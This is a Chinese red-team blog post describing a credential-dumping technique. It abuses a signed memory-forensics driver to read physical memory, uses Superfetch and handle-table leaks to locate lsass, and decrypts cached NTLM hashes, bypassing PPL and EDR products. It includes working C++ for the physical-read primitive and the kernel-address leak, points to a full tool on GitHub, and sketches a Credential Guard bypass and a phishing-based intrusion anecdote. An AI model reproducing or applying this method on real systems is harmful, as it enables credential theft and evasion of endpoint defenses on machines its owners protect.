本文首发于先知社区 https://xz.aliyun.com/news/92398
在红队行动的过程中越来越多的Windows机器开启了PPL并且安装了EDR,在用户态下直接对lsass进程的内存读取几乎变的不可能,我看完了世界上所有关于dump lsass的相关的技术,可以确定之前的技术在现代防御全开的机器下基本上都已经全部失效,本文将通过滥用合法驱动直接读取lsass的物理内存轻松绕过了PPL,顺便吊打所有EDR,完整的代码已经上传Github,为保证大部分读者阅读体验,快速补充相关的windows机制基础知识。
PPL的机制
PPL的全程是Protected Process Light(Windows进程保护等级),微软最初为了版权的控制设计的机制,现在拿来保护lsass进程不被用户态下的任意进程读取内存,即使你具备最高的管理员或者System权限依然无法读取被PPL保护起来的内存。

PPL的本质是进程在内核空间维护的数据,这个数据叫做_EPROCESS,里面有一个Protection,不同内部结构在_EPROCESS偏移不同,完整结构见文档,这个标志位是在进程创建开始的时候指定的,并且需要系统特定的签名证书才能成功设置
struct _EPROCESS
{
struct _KPROCESS Pcb; //0x0
struct _EX_PUSH_LOCK ProcessLock; //0x1c8
VOID* UniqueProcessId; //0x1d0
struct _LIST_ENTRY ActiveProcessLinks; //0x1d8
struct _EX_RUNDOWN_REF RundownProtect; //0x1e8
......
struct _PS_PROTECTION Protection; //0x5fa
//这个Protection就是我们控制的
这个数据的类型为_PS_PROTECTION,名字叫Level,Level保存着三个变量
//0x1 bytes (sizeof)
struct _PS_PROTECTION
{
union
{
UCHAR Level; //0x0
struct
{
UCHAR Type:3; //0x0
UCHAR Audit:1; //0x0
UCHAR Signer:4; //0x0
};
};
};
分别是Signer、Audit、Type,一个bytes里面有8bit,如下放置
bit7 bit6 bit5 bit4 bit3 bit2 bit1 bit0
Signer(4 bits) | Audit(1 bit) | Type(3 bits)
不同的PPL进程也有自己的访问控制,在同一Type下比较时,Signe数值通常越大,代表信任/保护等级越高,观察到windows defender的组件是的保护等级是Light (Antimalware),系统核心进程的保护等级是Light (Windows)或者Light (winTcb)

从高到低,意味着系统进程可以访问windows defender的进程,而windows defender在Light (Antimalware)等级,意味着即使defender被漏洞等其他原因exploit了也无法访问比自己更高的保护等级

常规的安全软件的核心PPL进程被C:\Windows\System32\services.exe托管,着意味着第三方的组件的父进程都将被services拉起,这是合理的,因为即使是带签名的杀毒本身也无法直接拉起PPL进程,services在系统启动的那一刻就已经运行,具备受信任的能力被所有的杀毒/EDR组件托管,EDR安装时候向服务发起请求,托管到服务中,系统服务代劳核心PPL保护进程的启动

请注意,PPL只是保护等级,windows ACL依然生效,意味着如果一个进程PPL等级是普通用户进程,它在访问system进程的时候依然需要通过windows权限校验,结果显而易见是失败的。
Windows的虚拟内存和物理内存
现代64位的windows系统,每个进程都拥有自己独立的虚拟内存空间,所以不同进程之间写入同一个虚拟地址不会互相干扰。

windows为了节省实际内存占用空间,会把使用频繁的dll放到一个相同的虚拟地址内部,对于类似ntdll.dll和其中的函数地址是完全一样的,如果进程A尝试写入这个ntdll.dll,会触发写时复制机制,系统立刻开辟新的空间不至于干扰到其他进程的的空间:

windows用户态下的进程实际都只使用48位地址其余高位均为0,虚拟地址实际上并非毫无意义的随机的值,虚拟地址是重要的索引,被windows内存管理器使用,用这个值来翻译到实际存放的物理地址空间拿到正确的值,具体翻译过程如下:

第一步,拿到前面9位的值作为索引,上面的图片是值是1,拿到rc3寄存器的值作为一级页表的索引,这个地址就是PML4[1] 第二步,取出PML4[1]的实际值,作为下一级页表的起始和第二个9位索引拿到真实的值,也就是PDPT[309] 第三步、第四步类似上面的逻辑遍历四级页表,找到物理页的起始的值,加上最后的12位偏移就代表着实际的物理地址空间。
上面说的非常抽象,为了读者便于理解我下面编写一个简单的演示代码,演示虚拟内存和物理内存的关系:
// demo.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include <iostream>
int main()
{
char string[] = "endlessparadox";
printf("the virutal address is %p\n", string);
getchar();
}
编译后运行,你将看清晰的看到虚内存中对应的字符endlessparadox,左上角虚拟地址是0000002080CFFDF0,右下角的内存空间

为了直接访问物理地址,我们需要找到进程中的cr3的值,这个值默认放在内核空间的dirbase中,每个进程的cr3都是不一样的:
!process 0 0 demo.exe

切换内核调试的当前进程demo.exe,后续翻译地址走当前进程:
.process /r /p ffff908ad70be080
为了避免类似刚刚繁琐的计算可以直接用!vtop命令完成虚拟地址转换物理地址
!vtop 0 0000002080CFFDF0
windbg下自动遍历节点,最后一行便是物理内存的地址1f7cafdf0:

在windbg物理内存的地址使用下面的命令,我们清晰的看到实际物理内存的值和虚拟内存的值是也是我的id,非常精准的:
!db 1f7cafdf0

为了读者理解PTE重要性,我要分享一个冷门的知识,在所有windows的系统中,有一个不被内核随机化alsr影响的地方叫做KUSER_SHARED_DATA,这个地址windows全版本内核地址固定为0xFFFFF780-00000000,我们可以!pte展开这个数据结构
0: kd> !pte 0xFFFFF780`00000000
VA fffff78000000000
PXE at FFFFA753A9D4EF78 PPE at FFFFA753A9DEF000 PDE at FFFFA753BDE00000 PTE at FFFFA77BC0000000
contains 0000000003700063 contains 0000000003701063 contains 0000000003702063 contains 8000000003725963
pfn 3700 ---DA--KWEV pfn 3701 ---DA--KWEV pfn 3702 ---DA--KWEV pfn 3725 -G-DA--KW-V

认真观察windbg的输出,每个page table级的下面都有自己的pfn,对于上面的图片转到下一级翻译,结合之前的解释,对应图如下:

读者可能会问,里面的字符有什么含义?这实际上是页的属性。
D代表Dirty 代表当前页已经被写入
A代表Accessed,表示该页已经被访问过
K代表Kernel,表示该页是否属于内核空间
E代表execution,表示页可以执行
V代表Valid,表示当前当前页是否在内存中(windows有内存换页机制,会不定期把内存的的数据换到磁盘上节约实际物理内存空间)
G代表Global,全局作用,代表当前页属于全局共享的页(一般内核态为全局共享)
最终的翻译出来实际的地址-G-DA–KW-V代表着内核可写入的有效地址,具体flag位置如下图所示

虽然和我们本文驱动没有太大关系,但实际对windows的内核漏洞利用有着深刻影响,意味着如果有一个任意地址写原语,我们可以直接定位到PTE的flag虚拟地址,控制这个位置并且修改为可以执行,不需要构造ROP去调API来修改内存权限,直接修改的PTE权限,这样在内核空间的RWX内存就开辟出来了,而且还是不被地址随机化影响的KUSER_SHARED_DATA
读者有兴趣可以认真看一下flag,都可以在windbg的手册里面找到更具体的说明:

综合来看,显而易见的,如果我们能够直接读取物理内存并且解析还原虚拟内存出来,100%可以直接绕过PPL,然而用户态下肯定是无法直接读取物理内存的,我们得找一个能帮我们的驱动完成这件事情。
驱动基础知识的速成
Windows驱动本质上是在内核态运行、受I/O管理器统一调度,通过IRP处理设备请求与操作系统协同工作的系统模块。
读者想必非常熟悉用户态和内核态的概念,如果不熟悉压根看不到这个地方,前面就已经懵逼了,接下里只需要理解I/O管理器和IRP是什么基本上就可以理解驱动工作的原理了。
I/O 系统和 I/O 管理器
I/O 系统的整体架构如下,系统上不同的应用、服务都要通过I/O系统并正确的把请求传递给驱动才能工作,我们用户态下的系统是不可能直接越过I/O系统直接和驱动沟通,不同的请求将交给I/O系统的部分组件工作:
- 对于wmi服务交给wmi routines处理
- 电源相关的交给PnP电源管理器处理
- 常规的NT api xxx将交给I/O管理器处理

为了更好的展示理解,我随机找一个系统驱动下断点,然后展示整个调用栈:

- 00 是afd!AfdDispatchDeviceControl,是驱动内部实现的函数
- 01 到03,这些都是io管理器相关的函数,就是IopXxxControlFile、IopSynchronousServiceTail、IofCallDriver完成了I/O管理器最主要的工作
- 04是NtDeviceIoControlFile函数,就是NtDeviceIoControlFile对应的内核函数
- 05是系统SSDT表,syscall发起后第一个地方就的跳到这里
- 06-09都是用户态下的了,大家已经很熟悉了
驱动和用户态的沟通模式
驱动可以创建SymbolicLink,将驱动当前关联的设备对象映射出去给用户态下访问,内核api如下:
NTSTATUS IoCreateSymbolicLink(
[in] PUNICODE_STRING SymbolicLinkName,
[in] PUNICODE_STRING DeviceName
);
使用方法如下,可以看到将设备和linkname关联起来了:
UNICODE_STRING string_device;
RtlInitUnicodeString(&string_device, L"\\Device\\endlessparadox");
IoCreateSymbolicLink(&linkname, &string_device);
winobj观察系统,大量设备都通过这种方法暴露出来给外部访问

要打开访问对应的驱动就用CreateFileA,CreateFile不仅可以打开文件,也可以打开驱动设备
HANDLE CreateFileA(
[in] LPCSTR lpFileName,
[in] DWORD dwDesiredAccess,
[in] DWORD dwShareMode,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
[in] DWORD dwCreationDisposition,
[in] DWORD dwFlagsAndAttributes,
[in, optional] HANDLE hTemplateFile
);
使用例子,直接把Device换成.\即可:
HANDLE dvice = CreateFile(L"\\\\.\\endlessparadox", GENERIC_READ | GENERIC_WRITE, 0,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
打开设备后,操作驱动就如同操作文件一般简单,IO管理器会将请求封装成IRP请求,虽然api都是readfile和wirtefile,实际上和文件没有任何关系,我们触发是的IO管理器的封装,实际上只是把数据传递给了驱动对应的函数,并且让驱动自己决定做对应的操作(任意代码的操作,和文件没有半毛钱关系)

驱动一旦接收到IRP,就会进入驱动自己的IRP处理函数,函数具体可能依赖更底层的硬件将转发到更底层的HAL进行处理;也可能当前模式下的内核API已经能搞定,就不向下转发自己处理;有可能当前的操作依赖其他驱动,则将IRP传递到其他驱动让其他驱动模块处理;不论如何是否成功或者失败,都需要返回IRP(否则线程将一直等待这个IRP,而且无法从内核返回,进程和线程都会卡死),解读图如下:

I/O request packets (IRP)
刚刚我们一直在说IRP,I/O request packets,到底是什么呢?简单理解,就是一个被I/O管理器创建的数据包即可,没有什么魔法(数据包被传来传去增加了复杂度而已),数据包有不同的类型,专业术语叫做major function codes,具体来说是IRP_MJ_XXX,这些不同的IRP交给驱动内部不同的函数处理,这样驱动不至于复杂度爆炸:
- IRP_MJ_SET_INFORMATION
- IRP_MJ_READ
- IRP_MJ_WRITE
- IRP_MJ_INTERNAL_DEVICE_CONTROL
- 等等等,就不啰嗦了
比起刚刚抽象的概念,我更在乎它可以做什么,如何传递进去数据,怎么样拿到返回的数据,观察IRP 的结构体,重要的几个数据如下:
- SystemBuffer 记录了用户态下传到驱动的数据(默认放到这个部分)
- RequestorMode 记录了这个IRP是用户模式还是内核模式
- UserBuffer 驱动返回给用户态的参数,并且只在IRP_MJ_DEVICE_CONTROL 和IRP_MJ_INTERNAL_DEVICE_CONTROL 种类下的情况生效


实际上我们这些缓冲的输入输出数据IRP完全对应ReadFile WriteFile DeviceIoControl api,驱动就是从我们这个用户态API拿的数据,只不过经过了一层I/O管理器的包装而已
BOOL ReadFile(
[in] HANDLE hFile,
[out] LPVOID lpBuffer, //这里!具体是irp_mj_read
[in] DWORD nNumberOfBytesToRead,
[out, optional] LPDWORD lpNumberOfBytesRead,
[in, out, optional] LPOVERLAPPED lpOverlapped
);
BOOL WriteFile(
[in] HANDLE hFile,
[in] LPCVOID lpBuffer, //这里!具体是irp_mj_write
[in] DWORD nNumberOfBytesToWrite,
[out, optional] LPDWORD lpNumberOfBytesWritten,
[in, out, optional] LPOVERLAPPED lpOverlapped
);
BOOL DeviceIoControl(
[in] HANDLE hDevice,
[in] DWORD dwIoControlCode,
[in, optional] LPVOID lpInBuffer, //这里是输入,具体是IRP_MJ_DEVICE_CONTROL
[in] DWORD nInBufferSize,
[out, optional] LPVOID lpOutBuffer, //这里是输出,具体是IRP_MJ_DEVICE_CONTROL
[in] DWORD nOutBufferSize,
[out, optional] LPDWORD lpBytesReturned,
[in, out, optional] LPOVERLAPPED lpOverlapped
);
接下来可以正式找个目标了,很快一番搜索,我找来了一个内存取证的驱动,具有潜在的武器化可能性,不过具体还是要逆向才能知道。
驱动逆向
正式开始进行驱动逆向,先找到驱动入口函数_start/diver_entry:

跟进这个函数sub_140006000:

认真观察对比反编译的代码,IoCreateDevice创建了一个驱动设备叫做\Device\MagnetRAMCapture 它通过IoCreateSymbolicLink符号暴露出来,得以在用户态下可以访问,这个符号链接就是\DosDevices\MagnetRAMCapture,中间的都是派遣函数majorfunction[xxx]对应的处理函数,如下可以拉个驱动的头文件看一下:
sub_140005090对应IRP_MJ_CREATE和IRP_MJ_CLOSE sub_1400050d0对应IRP_MJ_DEVICE_CONTROL sub_140005150对应IRP_MJ_READ

逆向sub_140005090,发现这个只是控制irp的和data_140003010的函数,不是我们要的物理读取功能
140005090 int64_t sub_140005090(int64_t arg1, IRP* arg2)
14000509c if ((arg2->Flags).b s>= 0)
1400050a7 data_140003010 -= 1
14000509c else
14000509e data_140003010 += 1
14000509e
1400050ae arg2->IoStatus..Status = 0
1400050b5 arg2->IoStatus.Information = 0
1400050bc IofCompleteRequest(Irp: arg2, PriorityBoost: 0)
1400050c8 return 0
逆向sub_1400050d0,发现这个IOCTL需要0x222000这个固定的值,data_140003020这个是全局变量的flag,值为0,光看这个只能知道对这个进行了操作并且把值返回给了用户态
1400050d0 uint64_t sub_1400050d0(int64_t arg1, IRP* arg2)
1400050df void* Overlay = arg2->Tail.Overlay.__offset(0x40).q
1400050f0 int32_t rdi
1400050f0
1400050f0 if (*(Overlay + 0x18) == 0x222000)
1400050ff int32_t rax_2 = data_140003020 << 4
1400050ff
140005105 if (*(Overlay + 8) u< rax_2)
140005124 rdi = -0x3fffffdd
140005105 else
140005117 sub_140001040(arg2->AssociatedIrp.MasterIrp, data_140003028, zx.q(rax_2))
14000511c rdi = 0
14000511e arg2->IoStatus.Information = zx.q(rax_2)
1400050f0 else
1400050f2 rdi = -0x3ffffff0
1400050f2
14000512b arg2->IoStatus..Status = rdi
140005131 IofCompleteRequest(Irp: arg2, PriorityBoost: 0)
140005148 return zx.q(rdi)
继续逆向sub_140005150,sub_140005150又调用了sub_140005200
140005150 uint64_t sub_140005150(int64_t arg1, IRP* arg2)
14000515f void* Overlay = arg2->Tail.Overlay.__offset(0x40).q
14000516d uint64_t rsi = zx.q(*(Overlay + 8))
140005176 int32_t rax =
140005176 sub_140005200(*(Overlay + 0x18), zx.q(rsi.d), arg2->AssociatedIrp.MasterIrp)
14000517b int32_t rdi = rax
14000517b
14000517f if (rax s>= 0)
140005181 rdi = 0
140005183 arg2->IoStatus.Information = rsi
140005183
140005189 arg2->IoStatus..Status = rdi
14000518f IofCompleteRequest(Irp: arg2, PriorityBoost: 0)
1400051a6 return zx.q(rdi)
跟进sub_140005200,总算看到了我们想要的物理内存符号RtlInitUnicodeString(&DestinationString, SourceString: \Device\PhysicalMemory"),毫无疑问,IRP_MJ_READ就是触发拿到物理内存的分支了

这个函数里面又出现了data_140003020,并且如果传递进来的参数小于它强制跳转返回失败
140005249 if (arg3 == 0 || (0xfff & arg1) != 0 || (0xfff & arg2) != 0
140005249 || arg1 s>= data_140003018)
data_140003020到底是什么东西?追一下,右下角交叉引用发现sub_140005000函数调用了它:

sub_140005000里面使用了MmGetPhysicalMemoryRanges,根据英文名猜测这个就是物理地址的范围,如果传递进去的物理地址超过了最大范围就强制返回STATUS_INVALID_PARAMETER确保安全

这两个参数需要低3位和0xffff = 0 ,意味着只有0能达到这个效果,我们传递这两个参数的时候必须要给低3位全给0才能满足进入条件
|| (0xfff & arg1) != 0 || (0xfff & arg2) !=
ZwOpenSection和ZwMapViewOfSection将对象\Device\PhysicalMemory映射出来,是最核心的函数
NTSTATUS rax_3 = ZwMapViewOfSection(SectionHandle: var_60,
ProcessHandle: -ffffffffffffffff, &BaseAddress, ZeroBits: 0,
CommitSize: arg_10, &SectionOffset, ViewSize: &arg_10,
InheritDisposition: ViewUnmap, AllocationType: 0, Win32Protect: 2)
ZwMapViewOfSection有文档,直接看微软文档,有三个关键的参数需要我们理解:

- BaseAddress,固定是0,这个是地址的起始,在这个对象也就代表着物理地址的起始
- CommitSize,来源是arg_10意味着是从用户态下拿到的地址范围大小
- SectionOffset官方文档说是针对页偏移的地址,由于起始地址位0,偏移是针对物理地址0的偏移SectionOffset实际上完全等价于实际物理地址
大概能猜测出来,用户态需要提供两个参数,这两个参数一个是物理地址,另一个是要读取的大小,这个函数对应的IRP是IRP_MJ_READ,也就是用户态下的ReadFile,传递物理地址和偏移地址如下:
BOOL ReadFile(
[in] HANDLE hFile,
[out] LPVOID lpBuffer, //我们接受内核出来的数据,从这个buff出来
[in] DWORD nNumberOfBytesToRead, // 要读取的大小
[out, optional] LPDWORD lpNumberOfBytesRead, // NULL
[in, out, optional] LPOVERLAPPED lpOverlapped // 从这里给物理地址
);
回到最开始的时候,驱动已经设置了一个DeviceObject_1->Flags |= DO_BUFFERED_IO的flag,DO_BUFFERED_IO代表着由io管理器来搬运数据,就不需要考虑内核到用户数据搬运的问题了,直接打开设备即可,这样就拿到了设备的HANDLE
HANDLE hDevice = CreateFileA("\\\\.\\MagnetRAMCapture",
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
我编写了任意读取函数如下,接受上面的hDevice,任意物理地址、要读取的物理内存大小、驱动返回的实际内容:
BOOL ReadPhysicalMemory(HANDLE hDevice, LARGE_INTEGER physicalAddress, DWORD sizeToRead, std::vector<BYTE>& outBuffer) {
//进行修正,驱动有合法校验必须0x000地址为0
DWORD pageOffset = physicalAddress.QuadPart % PAGE_SIZE;
LARGE_INTEGER alignedAddress;
alignedAddress.QuadPart = physicalAddress.QuadPart - pageOffset;
DWORD totalRequiredLength = pageOffset + sizeToRead;
DWORD alignedSize = ((totalRequiredLength + PAGE_SIZE - 1) / PAGE_SIZE) * PAGE_SIZE;
//分配适合的内存大小
BYTE* tempBuffer = (BYTE*)VirtualAlloc(NULL, alignedSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
OVERLAPPED ol = { 0 };
ol.Offset = alignedAddress.LowPart;
ol.OffsetHigh = alignedAddress.HighPart;
DWORD bytesRead = 0;
// bytesRead是我们要读取的大小,驱动侧从这个地方接受
// ol这个结构里面接受物理地址,修正的地址
BOOL success = ReadFile(hDevice, tempBuffer, alignedSize, &bytesRead, &ol);
//ReadFile拿回内核空间地址后
if (success && bytesRead >= totalRequiredLength) {
outBuffer.resize(sizeToRead);
std::memcpy(outBuffer.data(), tempBuffer + pageOffset, sizeToRead);
}
else {
success = FALSE;
}
return success;
}
验证一下发现,对比内核调试器的效果没有任何问题,内部的值都是完全一致的:


当我开始着手开发解析lsass物理内存的时候,我突然发现了一个大问题,我没办法拿到直接用这个驱动拿到内核空间的CR3的值!这只是个任意物理读,我需要用这个物理内存读去读内核空间里面的CR3才能算出实际物理地址,但是要定位这个CR3的值需要我使用这个任意物理读,这就死循环了啊,难道还要再带一个有CR3寄存器读取的驱动漏洞吗?
superfetch 来救急
还不是放弃的时候,经过了几天的研究查阅大量资料,blackhat的一个演讲提到了一个windows服务sysmain,这个发现隶属这个服务有一种神奇的机制叫做superfetch,这个sysmain默认全版本windows都有,并且是默认运行的


superfetch本来为了加速系统运行(虚拟到物理地址进行四级转换太慢了),提前记录好了虚拟地址到物理地址的转换,有sedebug权限可以直接通过NtQuerySystemInformation将这个映射返回
NtQuerySystemInformation(SystemSuperfetchInformation,&superfetch_info, sizeof(superfetch_info), return_length);
为了快速推进,我决定参考 https://github.com/jonomango/superfetch 使用这个库非常简单,只需要几行代码:
int main()
{
void const* const kernel_base = reinterpret_cast<void const*>(0xfffff8061e011000);
auto const mm = spf::memory_map::current();
void const* const virt = kernel_base;
std::uint64_t const phys = mm->translate(virt);
std::printf("the vir address is %p -> the phys is %zX\n", virt, phys);
return 0;
}
这样就可以直接跳过CR3的限制问题,再次测试完美运行!

读者可能觉得岂不是前面学转换就浪费了?很遗憾的是这个机制只能直接拿内核态的地址,由于内核态的空间是对全进程一致的。像前面学就基础知识,每个进程的64位虚拟地址空间是独立的,我们没办法直接传递lsass内存虚拟内存过去,不过已经足够了,看看我们要的这个lsass进程dirbase的地址在哪里?
!process 0 0 lsass.exe
将lsass内核中维护的进程地址_KPROCESS传递过去,偏移+0x028就是我们要的CR3的值
dt _KPROCESS ffffc607347e7080

ffffc607347e7080就在内核空间,看到了高位全是FFFF吗,我们就在刚刚已经学过了用户态高位都是0,系统范围的地址虽然是随机分配的,但是其实是在一个固定0xFFFF000000000000 - 0xFFFFFFFFFFFFFFFF.范围内随机,具体随机的类型见下图:

EPROCESS和KPROCESS其实地址是完全一样的,我们要的_KPROCESS就在内核空间,我们已经解决了两个问题,物理地址读取靠驱动,superfetch把内核虚拟地址转换成物理地址,现在问题是我们如何知道lsass的_KPROCESS虚拟地址在哪里?
泄漏 EPROCESS/KPROCESS 地址
在windows编程中到处充斥着HANDLE类型,也就是句柄,读者一定非常熟悉了,HANDLE在用户态来看是一个毫无意义的数值,使用这个HANDLE编程的时候我们只是把这个数值传来传去,对于内核来说HANDLE实际上是一个对应具体对象的指针索引,这个指针有着明确的虚拟地址地址,如何能把这个指针实际从内核捞出来呢?
又是我们的好伙伴NtQuerySystemInformation!请求SystemHandleInformation会返回_SYSTEM_HANDLE_INFORMATION结构体
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, info, len, &out);
这个结构体里面又有SYSTEM_HANDLE_TABLE_ENTRY_INFO,具体是上面呢?
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
就是如下,实际虚拟地址就是Object:
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object; // this is we want !
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
总体扫描代码就如下了:
ULONG64 LeakSystemEprocess() {
printf("[+] Leaking System EPROCESS\n"); fflush(stdout);
// 我们直接打开留下这个system的句柄
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, 4);
if (!hProcess) {
printf("[-] OpenProcess(PID 4) failed: %lu\n", GetLastError());
return 0;
}
DWORD myPid = GetCurrentProcessId();
USHORT myHandleValue = (USHORT)(ULONG_PTR)hProcess;
printf("[+] Opened handle to SYSTEM process (PID 4)\n");
printf("> Current PID: %lu\n", myPid);
printf("> Handle value: 0x%x\n", myHandleValue);
fflush(stdout);
// Handle Table
printf("[+] Querying SystemHandleInformation table of current process\n");
fflush(stdout);
ULONG len = sizeof(SYSTEM_HANDLE_INFORMATION);
PSYSTEM_HANDLE_INFORMATION info = NULL;
NTSTATUS status;
ULONG out;
ULONG iterations = 0;
do {
len *= 2;
if (info) GlobalFree(info);
info = (PSYSTEM_HANDLE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
if (!info) {
printf("[-] GlobalAlloc failed at len=%lu\n", len);
CloseHandle(hProcess);
return 0;
}
status = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)SystemHandleInformation, info, len, &out);
iterations++;
} while (status == (NTSTATUS)0xC0000004);
if (status != 0) {
printf("[-] NtQuerySystemInformation failed: 0x%08X (after %lu resizes)\n", status, iterations);
CloseHandle(hProcess);
GlobalFree(info);
return 0;
}
printf("[+] Handle table queried successfully\n");
printf("> Buffer size: %lu bytes\n", len);
printf("> Resize rounds: %lu\n", iterations);
printf("> Total handles: %lu\n", info->NumberOfHandles);
printf("[+] Searching for handle 0x%x in handle table\n", myHandleValue);
fflush(stdout);
ULONG64 systemEprocess = 0;
ULONG scanned = 0;
ULONG matchesPid = 0;
for (ULONG i = 0; i < info->NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO entry = info->Handles[i];
scanned++;
if (entry.UniqueProcessId == myPid) {
matchesPid++;
if (entry.HandleValue == myHandleValue) {
systemEprocess = (ULONG64)entry.Object;
printf("[+] Match found at index %lu / %lu\n", i, info->NumberOfHandles);
printf("> PID: %u\n", entry.UniqueProcessId);
printf("> Handle: 0x%x\n", entry.HandleValue);
printf("> Object (System EPROCESS): 0x%llx\n", systemEprocess);
//printf("> ObjectType: 0x%x\n", entry.ObjectTypeIndex);
//printf("> Access: 0x%lx\n", entry.GrantedAccess);
fflush(stdout);
break;
}
}
}
if (!systemEprocess) {
printf("[-] Handle not found. Scanned %lu entries, %lu matched our PID\n", scanned, matchesPid);
}
CloseHandle(hProcess);
GlobalFree(info);
return systemEprocess;
}
编译运行一下:

windbg验证一下,PROCESS也是ffff908ad0685040:

现在只是知道了system 进程的EPROCESS,如何才能知道lsass进程的EPROCESS?我有幸学习过rootkit中有一种叫做断链的进程隐藏技术,知道了所有的进程都是通过双向链表挂在一起的,并且首尾相连,沿着system的EPROCESS就一定能找到lsass的EPROCESS
让我们先理解一下双向链表结构体,再演示windbg如何走:
LIST_ENTRY 结构体如下:
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, PRLIST_ENTRY;
Flink是一个_LIST_ENTRY指针,指向_LIST_ENTRY列表中的下一个条目 Blink也是一个_LIST_ENTRY指针,指向_LIST_ENTRY列表中的上一个条目
中间悬空的节点如下

记住,LIST_ENTRY本身只是一个数据类型,一般嵌入在更大的数据类型里面,EPROCESS中的ActiveProcessLinks就是LIST_ENTRY类型,走ActiveProcessLinks就能将整个进程串起来。
我们先展开ffff908ad0685040,拿到ActiveProcessLinks
dt nt!_EPROCESS ffff908ad0685040 -y ImageFileNam UniqueProcessId ActiveProcessLinks
注意看UniqueProcessId是4,这个是system进程系统中固定的的pid,ImageFileNam就更好理解了,就是System进程的名称,图中展示的就是0xffff908a-d06ea368 和0xfffff800-786ae4e0就是双向链表中flink和blink的指针的值

(windbg帮我们解析出来了指针的值)
dq ffff908ad0685040+0x2e8 (起始地址+偏移地址拿到ActiveProcessLinks里面的值)

注意到+0x2e8 ActiveProcessLinks,这个偏移地址是0x2e8,我们必须要减去这个地址展开数据,从新回到_EPROCESS地址开头
dt nt!_EPROCESS 0xffff908a`d06ea368-0x2e8 -y ImageFileNam UniqueProcessId ActiveProcessLinks
图中显示的就是下一个进程Registry,要回溯使用blink 0xffff908a-d0685328:

dt nt!_EPROCESS 0xffff908a`d0685328-0x2e8 -y ImageFileNam UniqueProcessId ActiveProcessLinks
可以看到我们重新倒回来了system,如下:

注意系统最开始初始化有一个最初的头节点PsActiveProcessHead ,我们终于搞清楚了如何定位lsass进程的EPROCESS地址,通过走system的EPROCESS地址拿到lsass进程的EPROCESS,EPROCESS里面就有dirbase,也就是cr3,现在全部串起来了,至于如何定位只需要匹配imagefilename是“lsass”即可,我们可以完全读取lsass内存中的任意信息了!
(下图简化了,开发需要一直遍历直到找到imagename对应的字符串即可)

我们距离完成已经只剩下一步了解析出凭据来了,实际上这部分完全参考mimikatz了。
正式解析内存
我阅读了mimikaz源代码,知道了LSASS进程用对称密钥加密缓存的凭证,我们实际上是没办法直接拿到hash的,必须要解密,密钥存在 lsasrv.dll 的全局变量中,在内存中直接搜索一个全局变量是困难的,更好的做法是找到PE的.text里面对这个全局变量引用的代码,因为这个全局变量的位置的任意的,但是.text的代码一个dll版本的只有可能有一种映射偏移(简单的理解为PE .text直接搬进了内存)

一旦我们能定位引用的代码,就可以定位变量了,随后我们反汇编提取出来这个固定的.text值,把这个变成内存签名,随后我们启动内存搜索就能定位任意变量了,但是这个签名只能通杀一个范围的windows,因为不同版本的windows结构可能发生变化

将所有的版本的特征签名搜索出来,根据不同版本不同DLL维护出来,这样就可以通杀全版本了(是一个严重痛苦的体力活和技术活,需要一个个找dll和逆向,光找这些windows iso一个个下载安装时间都够呛了,加上去逆向估摸着至少要几周的时间,我直接使用mimikatz的偏移节约时间):

完成密钥的提取就可以解密内存拿到NTLM hash了,后面都是枯燥的算法就不赘述了,代码已经上传github,读者有兴趣可以自行阅读理解:
测试效果
PPL绕过截图,本身是为了绕过PPL写的:

得益于底层机制和工作原理,顺便动态bypass所有AV/EDR,截图使用被吹的最多的SentinelOne,很遗憾,这些EDR营销的“AI-powered” 在来自驱动的降维打击下没有起到任何作用:

还有我们的老朋友CrowfStrike EDR,营销宣称的”AI-native“,哈哈哈,一样吊打,显而易见的道理,ai没办法介入内核与底层

具体动态的演示视频放在我的b站上:
凭据扩展话题的闲聊
Credential Cuard
读者绝对或多或少听说过VBS(基于虚拟化的安全),VBS是一个硬件技术在底层驱动着Credential Cuard,Credential Cuard从硬件上完全隔离开了正常的lsass和一个影子lsass,所有需要的敏感凭据全部放置在了这个影子–lsalso里面:

lsalso是完全被虚拟化隔离开来的区域,意味着即使是我们的内核也无法看到这篇内存区域:

但是确实听说过有所谓的绕过Credential Cuard方法?我们去观摩一下目前成熟的代码,看看目前的大佬是如何绕过Credential Cuard ,它直接交换了g_IsCredGuardEnabled 和 g_fParameter_UseLogonCredential ,欺骗windows的WDigest再次启动明文机制,在patch后,后续登录的用户明文都会被记录直接放到内VTL0存里面不再放入VTL1,从而绕过了Credential Cuard:

当然了,旧的凭据还在,我们依然无法读取出来,有些朋友可能会说“这太鸡肋了,要有人登录啊”,当然,如果各位打CTF或者是靶场当然毫无作用,我在这里要分享一个我亲身经历的例子:在多年前某次省比赛的时候,我利用HTML走私钓鱼.zip批量发邮件,等待一段时间钓鱼上线后,我一套丝滑连招dump sam/dump lsass内存+Fscan/gogo收获了0个服务器和数据库权限,正当我感慨内网越来越安全的时候,我的CS控制台上突然看到了Rubeus的监控弹出了新的用户登录,我立刻截屏清晰的看到了有人登录进来拿360杀毒查杀这台电脑

我当初不清楚怎么回事,就碰碰运气拿着这个新登录的用户密码试一下权限,结果直接拿下了管理员权限,我内心???真牛逼啊,拿着域管理员权限来应急,谢谢蓝队大哥送的域管理员,之后就是一套连招击穿了整个内网(笑
